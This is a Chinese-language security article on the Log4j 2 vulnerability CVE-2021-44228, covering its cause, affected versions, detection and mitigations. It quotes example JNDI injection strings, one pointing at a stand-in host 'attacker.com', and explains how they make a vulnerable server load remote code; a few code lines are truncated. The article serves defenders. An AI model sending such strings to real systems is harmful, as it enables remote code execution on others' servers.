关于Log4j 2漏洞(CVE-2021-44228)的快速响应

关于Log4j 2漏洞(CVE-2021-44228)的快速响应

简介

2021 年 12 月 9 日，在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 ​​CVE-2021-44228、CVSSv3​​ 10.0）。该漏洞由阿里云安全团队的陈兆军（可能为音译）发现，影响Apache Log4j 2版本2.0至2.14.1。根据开发人员的说法，​​Log4j的1.x版本​​不容易受到此漏洞的影响。 该漏洞允许未经身份验证的远程执行代码。Log4j 2是由Apache基金会开发的开源Java日志记录库。Log4j 2广泛用于许多应用程序，并且作为依赖项存在于许多服务中。其中包括企业应用程序以及众多云服务。 目前已经能够看到较多利用此漏洞的PoC验证攻击代码，该漏洞可通过多种特定于应用程序的方法访问。实际上，任何允许远程连接提供由使用 Log4j 库的应用程序写入日志文件的任意数据的场景都容易受到利用。由于影响面实在太过巨大，威胁等级及实现方式非常危险，Apache基金会将此漏洞标记为最高级别的10级。目前大致能确定以下内容：

广泛使用的企业软件的默认安装容易受到攻击。无需身份验证即可可靠地利用此漏洞。该漏洞会影响 Log4j 2 的多个版本。该漏洞允许以运行利用库的应用程序的用户身份远程执行代码。

​​Log4j 2​​是一个基于Java的日志库，广泛用于业务系统开发，包含在各种开源库中，并直接嵌入到主要软件应用程序中。影响范围已扩展到数千种产品和设备，包括Struts 2，Solr，Druid，Flink和Swift等Apache产品。由于此漏洞位于 Java 库中，因此 Java 的跨平台性质意味着该漏洞可在许多平台（包括 Windows 和 Linux）上被利用。由于许多基于 Java 的应用程序可以利用 Log4j 2，因此组织应与应用程序供应商联系，或确保其 Java 应用程序运行最新的最新版本。使用Log4j 2的开发人员应确保尽快将最新版本的Log4j合并到他们的应用程序中，以保护用户和组织。为了便于理解Log4j 2漏洞的影响面和危害性原因，网上出现了漫画图，在这里贴出来供大家一览。

这张图说明了最简单的原理

这张图说明了为什么会影响这么多系统

再来个中文版的

​

攻击者使用该漏洞的可能方式可参考​​​Fastly​​的图片：

在使用Log4j 2的大量的日志记录框架中，开发人员通常认为消息作为基本格式数据进行处理。但通过Log4j 2实际提供了JNDI查找的能力，又没有对这些查找进行限制，由此产生了这个漏洞。 JNDI，Java命名和目录接口，是目录服务的Java API，提供LDAP或DNS接口查找数据和资源，当可以返回的数据类型之一是指向Java类的URI的时候，如果加载了不受信任的Java类，就将不知不觉地远程执行任意代码。 例如记录这样的信息：

log.info("cve-2021-44228 is security nightmare! {}", userInput

在生产环境中记录HTTP信息作为日志非常常见，这一问题可能如下：

log.inf("Request User-Agent: {}", userAgent

在初始步骤插入JNDI字串，例如 $(jndi:ldap://attacker.com/a) 后，存在漏洞的Log4j服务器就能够通过URI访问可以执行命令的有效负载。Log4j服务器将执行LDAP查询，然后LDAP服务器将响应有效负载链接的目录信息。 接下来这些链接指向的Java类的有效负载将被加载到内存，由受攻击的Log4j服务器执行。除了LDAP，也可以通过该漏洞强制被攻击的Log4j服务器进行DNS查询，例如 ${jndi:dns://} 。我猜理论上可以刷新DNS缓存做DNS劫持。

同时可参考微软提供的攻击链参考图片：

检测

如何判断是否在使用的系统受到Log4j组件漏洞影响呢？

如果您在软件清单中找到这些哈希值，那么您的系统中就有易受攻击的log4j：​​属于 log4j 库的 JAR 文件的存在可能表明应用程序可能容易受到 CVE-2021-44228 的影响。要搜索的特定文件应符合以下模式："log4j-core-*.jar"根据安装方法的不同，匹配的 JAR 文件的位置也可能指示哪个应用程序可能容易受到攻击。例如，在 Windows 上，如果文件位于 C：\Program Files\ApplicationName\log4j-core-version 中.jar则表示应调查应用程序名称。在 Linux 上，lsof 实用程序可以显示当前正在使用 JAR 文件的进程，并且可以通过以下语法运行："lsof /path/to/log4j-core-version.jar;"查看并随时关注有关更新：

查看Apache基金会关于Log4j漏洞信息的更新：​​​2组件。如上所述，出于兼容性稳定性考虑，不建议自行替换。可随时查看前面提供的产品漏洞说明页面信息更新，以尽早获得补丁。测试后进行生产更新。问题的根源在于没有限制JNDI的查询限制，因此在Log4j 2组件存在的地方，需要对查询做手动限制。

Log4J 2 版本 2.10 到 2.14.1 支持将参数 log4j2.formatMsgNoLookups 设置为"true"，以禁用易受攻击的功能。确保在 Java 虚拟机的启动脚本中配置了此参数：-Dlog4j2.formatMsgNoLookups=true。或者，使用 Log4j 2.10 到 2.14.1 的客户可以设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量来强制进行此更改。Kubernetes 管理员可以使用 "kubectl set env" 来设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量，以便在 Java 应用程序运行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中应用缓解措施，从而自动有效地反映在所有 pod 和容器上。对于从 2.0-beta9 到 2.10.0 的版本，缓解措施是从类路径中删除 JndiLookup 类：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

如果系统位于受到防护的网络内部，可以考虑在边缘访问网关，例如WAF上进行访问过滤。目前主流WAF厂商大多已经更新了安全规则，能够识别该漏洞相关的指纹信息。可以在系统中启用并更新安全软件，例如Defender。如果使用云服务，也可以对访问日志进行监控。可参考：​​有关预防、检测和搜寻 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客​​

建议

无需谈虎色变，尽快的厘清架构并评估影响面是第一要务召集所有相关人员，例如安全、架构和业务团队，评估修复/缓解计划并制定时间表检查现有架构时，不要仅关注后端（服务器）架构，也应该充分评估使用了Log4j组件的前端（客户端）作为VDI/UEM从业人员，强烈建议在VDI架构中考虑标准化和使用快速的制备方式，在出现风险时能够及时更新到安全和配置基线充分考虑零信任架构，即使是内网或相同网络，也需要考虑网络微隔离

版权声明：本文内容由网络用户投稿，版权归原作者所有，本站不拥有其著作权，亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容，请联系我们jiasou666@gmail.com 处理，核实后本网站将在24小时内删除侵权内容。